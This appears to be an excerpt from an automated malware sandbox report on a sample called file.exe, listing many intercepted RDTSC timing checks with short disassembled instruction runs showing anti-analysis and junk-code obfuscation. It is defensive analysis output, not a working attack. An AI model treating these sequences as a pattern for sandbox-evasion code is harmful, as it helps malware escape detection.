Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376C63 second address: 1376C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376C6D second address: 1376C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376C73 second address: 1376C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376C77 second address: 1376C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376C7B second address: 1376C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D1FB second address: 137D201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D201 second address: 137D20B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC850CE3D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C069 second address: 137C06F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C06F second address: 137C075 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133BFE8 second address: 1323EEB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC8515781E7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FC8515781D8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov ch, D7h 0x00000027 call dword ptr [ebp+122D1FEFh] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push ecx 0x00000031 pop ecx 0x00000032 jmp 00007FC8515781E3h 0x00000037 jmp 00007FC8515781DEh 0x0000003c je 00007FC8515781D6h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C0CA second address: 133C0DC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jns 00007FC850CE3D36h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C0DC second address: 133C0E6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC8515781DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C63D second address: 133C645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C73D second address: 133C74A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007FC8515781DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133C985 second address: 133C989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D220 second address: 133D24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781E9h 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FC8515781DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D24A second address: 133D24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D24E second address: 133D254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D254 second address: 133D258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D258 second address: 133D26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D26A second address: 133D274 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC850CE3D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D274 second address: 133D279 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D279 second address: 133D29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnp 00007FC850CE3D3Eh 0x0000000f push edi 0x00000010 jnp 00007FC850CE3D36h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007FC850CE3D36h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D29E second address: 133D2A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D339 second address: 133D33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D33E second address: 133D35D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC8515781E0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FC8515781D8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D35D second address: 133D3AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FC850CE3D3Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c and cx, D965h 0x00000011 lea eax, dword ptr [ebp+12481D00h] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FC850CE3D38h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 jp 00007FC850CE3D36h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133D3AF second address: 133D3B9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC8515781DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C65F second address: 137C669 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC850CE3D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C669 second address: 137C685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C685 second address: 137C689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C689 second address: 137C694 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C97B second address: 137C984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C984 second address: 137C994 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8515781DBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CB21 second address: 137CB26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CC74 second address: 137CC7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC8515781D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384D12 second address: 1384D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384D16 second address: 1384D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383DD2 second address: 1383DD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383DD6 second address: 1383E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC8515781DAh 0x00000013 jmp 00007FC8515781E5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13840FB second address: 138410B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FC850CE3D3Eh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383863 second address: 1383867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383867 second address: 138388D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC850CE3D48h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FC850CE3D38h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138388D second address: 1383892 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1383892 second address: 1383898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386DA1 second address: 1386DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FC8515781D6h 0x0000000a jp 00007FC8515781D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386DB1 second address: 1386DCE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FC850CE3D44h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386F2C second address: 1386F55 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jbe 00007FC8515781D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC8515781E9h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386F55 second address: 1386F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386F59 second address: 1386F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386F72 second address: 1386F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1386F7D second address: 1386F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FBBE0 second address: 12FBBF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389D98 second address: 1389DC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DEh 0x00000007 jmp 00007FC8515781DFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC8515781DDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A093 second address: 138A09B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E1A7 second address: 138E1B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC8515781D6h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E1B5 second address: 138E1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E1C0 second address: 138E1C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DB4C second address: 138DB6F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC850CE3D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FC850CE3D41h 0x00000010 jp 00007FC850CE3D36h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DEA2 second address: 138DEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FC8515781E9h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13923AA second address: 13923C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 js 00007FC850CE3D36h 0x0000000c jp 00007FC850CE3D36h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13915F4 second address: 13915F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13915F8 second address: 13915FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13915FE second address: 139160E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC8515781D6h 0x0000000a jg 00007FC8515781D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139160E second address: 1391612 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139178B second address: 139178F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139178F second address: 139179D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FC850CE3D38h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139179D second address: 13917B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FC8515781D6h 0x0000000a jmp 00007FC8515781DDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391BF9 second address: 1391BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391D2C second address: 1391D31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391D31 second address: 1391D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391ECB second address: 1391EDF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC8515781D8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391EDF second address: 1391EE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391EE7 second address: 1391EEC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397692 second address: 1397696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1397AF2 second address: 1397AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC8515781D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CCB5 second address: 133CD2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FC850CE3D3Fh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop edx 0x00000012 nop 0x00000013 mov ebx, dword ptr [ebp+12481CFBh] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FC850CE3D38h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 adc edx, 5DCB1D17h 0x00000039 mov dh, bh 0x0000003b add eax, ebx 0x0000003d mov dword ptr [ebp+122D1F71h], ebx 0x00000043 nop 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FC850CE3D49h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CD2A second address: 133CD40 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC8515781D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c je 00007FC8515781E4h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133CD40 second address: 133CD44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13980B4 second address: 13980CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jg 00007FC8515781D8h 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A156A second address: 13A15A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC850CE3D36h 0x0000000a pop ecx 0x0000000b jmp 00007FC850CE3D49h 0x00000010 pop ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 js 00007FC850CE3D36h 0x00000019 js 00007FC850CE3D36h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A15A2 second address: 13A15BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A15BC second address: 13A15C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F539 second address: 139F564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781E7h 0x00000009 jmp 00007FC8515781DEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F806 second address: 139F80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FD0C second address: 139FD12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0300 second address: 13A030A instructions: 0x00000000 rdtsc 0x00000002 js 00007FC850CE3D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A05C8 second address: 13A0604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781E1h 0x00000009 pop edi 0x0000000a jnl 00007FC8515781EAh 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0604 second address: 13A0629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC850CE3D36h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FC850CE3D40h 0x00000011 popad 0x00000012 jne 00007FC850CE3D38h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0BF5 second address: 13A0C07 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC8515781DCh 0x00000008 jnl 00007FC8515781D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1228 second address: 13A1238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007FC850CE3D36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1238 second address: 13A123D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A123D second address: 13A125E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A125E second address: 13A1264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A1264 second address: 13A1294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC850CE3D49h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FC850CE3D3Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
